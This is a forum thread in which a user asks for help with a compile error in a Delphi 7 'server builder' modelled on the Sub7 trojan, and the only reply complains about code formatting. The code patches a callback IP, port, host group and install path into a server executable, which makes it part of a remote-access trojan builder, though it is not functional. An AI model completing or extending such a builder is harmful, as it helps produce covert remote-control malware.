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Thread: [I am having trouble compiling server builder from source.](#)

raghavsood999 - July 25, 2017, 11:07 pm

Originally made in delphi 7 pro. Someone give me this. READ 101 sent me server maker sample were you have to load the res file into the builder first then edit your settings like in sub7 trojan.

I have problem with my source code for server builder in Delphi 7 Professional:

```
unit uEditor;
```

```
interface
```

```
uses
```

```
  uTypeRecored,
```

```
  IniFiles,
```

```
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
```

```
  Dialogs, StdCtrls, Spin, ScktComp;
```

```
type
```

```
  TForm1 = class(TForm)
```

```
    lblIP: TLabel;
```

```
    lblPort: TLabel;
```

```
    lblHostName: TLabel;
```

```
    lblHostGroup: TLabel;
```

```
    lblInstallPath: TLabel;
```

```
    lblFileName: TLabel;
```

```
    edtIP: TEdit;
```

```
    sePort: TSpinEdit;
```

```
    chkInstall: TCheckBox;
```

```
    edtFileName: TEdit;
```

```
    edtHostName: TEdit;
```

```
    edtHostGroup: TEdit;
```

```
    edtPath: TEdit;
```

```
    btnSave: TButton;
```

```
    dlgSave: TSaveDialog;
```

```
    ClientSocket1: TClientSocket;
```

```
    Edit1: TEdit;
```

```
    Button1: TButton;
```

```
    procedure FormCreate(Sender: TObject);
```

```
    procedure btnSaveAsClick(Sender: TObject);
```

```
    procedure chkInstallClick(Sender: TObject);
```

```
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
```

```
private
```

```
  { Private declarations }
```

```
public
```

```
  { Public declarations }
```

```
  Settings: TIniFile;
```

```
  procedure SaveServerSettings( SaveAs: Boolean );
```

```

end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.SaveServerSettings( SaveAs: Boolean );
var
  FileName: string;
  HostFile: TMemoryStream;
  FileSettings: TFileSettings;
  HostRes: TResourceStream;
begin
  if SaveAs = True Then
  begin
    dlgSave.FileName := 'Server';
    dlgSave.Filter := 'PE|*.exe|';
    dlgSave.DefaultExt := 'exe';
    dlgSave.Execute;
    FileName := dlgSave.FileName;
  end

  if FileName = '' then
    FileName := Edit1.Text;

  HostRes := TResourceStream.Create(HInstance, 'Server_File', RT_RCDATA);
  //HostRes.savetofile('Server.exe');

  HostFile := TMemoryStream.Create; //Create the Object;
  HostFile.loadfromfile('Server.exe'); //Load the Resource.

  FileSettings.IP      := edtIP.Text;
  FileSettings.Port    := sePort.Value;
  FileSettings.HostName := edtHostName.Text;
  FileSettings.HostGroup := edtHostGroup.Text;
  FileSettings.Install  := chkInstall.Checked;
  FileSettings.InstallPath := edtPath.Text;
  FileSettings.FileName := edtFileName.Text;
  FileSettings.DWLTS    := '1'; // if 1 then saved right.

  HostFile.Position := HostFile.Size;
  HostFile.WriteBuffer(FileSettings, SizeOf(TFileSettings));
  hostfile.SaveToFile(FileName);
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
  Settings := TIniFile.Create('Settings.ini'); //createt the ini file.
  edtIP.Text := Settings.ReadString('Settings','IP', '127.0.0.1');

```

```

//          ^^if blank plase this into the edit box
sePort.Value := Settings.ReadInteger('Settings', 'PORT', 12345);
edtHostName.Text := Settings.ReadString('Settings', 'HOST NAME', 'Computer 7');
edtHostGroup.Text := Settings.ReadString('Settings', 'HOST GROUP', 'ROOM 3');
edtPath.Text := Settings.ReadString('Settings', 'INSTALL PATH', '%WINDIR%');
edtFileName.Text := Settings.ReadString('Settings', 'FILE NAME', 'Server.exe');
end;

procedure TForm1.btnSaveAsClick(Sender: TObject);
begin
    SaveServerSettings(True);
end;

procedure TForm1.chkInstallClick(Sender: TObject);
begin
    lblInstallPath.Enabled := chkInstall.Checked;
    lblFileName.Enabled := chkInstall.Checked;
    edtFileName.Enabled := chkInstall.Checked;
    edtHostName.Enabled := chkInstall.Checked;
    edtPath.Enabled := chkInstall.Checked;
end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
    //Saving our INI Settings.
    Settings.WriteString('Settings', 'IP', edtIP.Text);
    Settings.WriteString('Settings', 'HOST NAME', edtHostName.Text );
    Settings.WriteString('Settings', 'HOST GROUP', edtHostGroup.Text);
    Settings.WriteString('Settings', 'INSTALL PATH', edtPath.Text);
    Settings.WriteString('Settings', 'FILE NAME', edtFileName.Text);
    Settings.WriteInteger('Settings', 'PORT', sePort.Value );
end;

end.

```

For some reason i get this error:

[Error] uEditor.pas(65): Missing operator or semicolon

[Warning] uEditor.pas(70): Unsafe type 'RT_RCDATA: PAnsiChar'

[Fatal Error] Edit_Server.dpr(6): Could not compile used unit 'uEditor.pas'

In the ueditor.pas i got this:

```

object Form1: TForm1
    Left = 430
    Top = 299
    Width = 364
    Height = 306
    Caption = 'Form1'
    Color = clBtnFace
    Font.Charset = DEFAULT_CHARSET
    Font.Color = clWindowText

```

```
Font.Height = -11
Font.Name = 'MS Sans Serif'
Font.Style = []
OldCreateOrder = False
OnClose = FormClose
OnCreate = FormCreate
PixelsPerInch = 96
TextHeight = 13
object lblIP: TLabel
    Left = 62
    Top = 83
    Width = 13
    Height = 13
    Caption = 'IP:'
end
object lblPort: TLabel
    Left = 236
    Top = 83
    Width = 22
    Height = 13
    Caption = 'Port:'
end
object lblHostName: TLabel
    Left = 25
    Top = 123
    Width = 56
    Height = 13
    Caption = 'Host Name:'
end
object lblHostGroup: TLabel
    Left = 23
    Top = 150
    Width = 57
    Height = 13
    Caption = 'Host Group:'
end
object lblInstallPath: TLabel
    Left = 26
    Top = 205
    Width = 55
    Height = 13
    Caption = 'Install Path:'
    Enabled = False
end
object lblFileName: TLabel
    Left = 213
    Top = 205
    Width = 50
    Height = 13
    Caption = 'File Name:'
    Enabled = False
end
object edtIP: TEdit
```

```
Left = 88
Top = 80
Width = 121
Height = 21
TabOrder = 0
Text = '127.0.0.1'
end
object sePort: TSpinEdit
Left = 272
Top = 80
Width = 73
Height = 22
MaxLength = 5
MaxValue = 65536
MinValue = 0
TabOrder = 1
Value = 12345
end
object chkInstall: TCheckBox
Left = 26
Top = 179
Width = 97
Height = 17
Caption = 'Install Host File'
TabOrder = 2
OnClick = chkInstallClick
end
object edtFileName: TEdit
Left = 272
Top = 202
Width = 74
Height = 21
Enabled = False
TabOrder = 3
Text = 'Server.exe'
end
object edtHostName: TEdit
Left = 90
Top = 147
Width = 121
Height = 21
TabOrder = 4
Text = 'Computer 2'
end
object edtHostGroup: TEdit
Left = 90
Top = 120
Width = 121
Height = 21
TabOrder = 5
Text = 'Room 5'
end
object edtPath: TEdit
```

```

Left = 90
Top = 202
Width = 105
Height = 21
Enabled = False
TabOrder = 6
Text = '%windir%\host\
end
object btnSave: TButton
Left = 272
Top = 240
Width = 75
Height = 25
Caption = 'Build Server'
TabOrder = 7
OnClick = btnSaveAsClick
end
object Edit1: TEdit
Left = 8
Top = 8
Width = 273
Height = 21
TabOrder = 8
Text = 'Edit1'
end
object Button1: TButton
Left = 280
Top = 8
Width = 49
Height = 25
Caption = 'Open'
TabOrder = 9
end
object dlgSave: TSaveDialog
Left = 48
Top = 88
end
object ClientSocket1: TClientSocket
Active = False
ClientType = ctNonBlocking
Port = 0
Left = 256
Top = 144
end
end

```

?

I am just getting error compiling. The end lines are threre, so are the semicolounms.

Basically, the resource file holds information and i am trying to load res file in the builder, modify it then rebuild the output as .PE or .exe.

Xogg - *July 26, 2017, 11:18 pm*

Please dear god learn how to use code tags.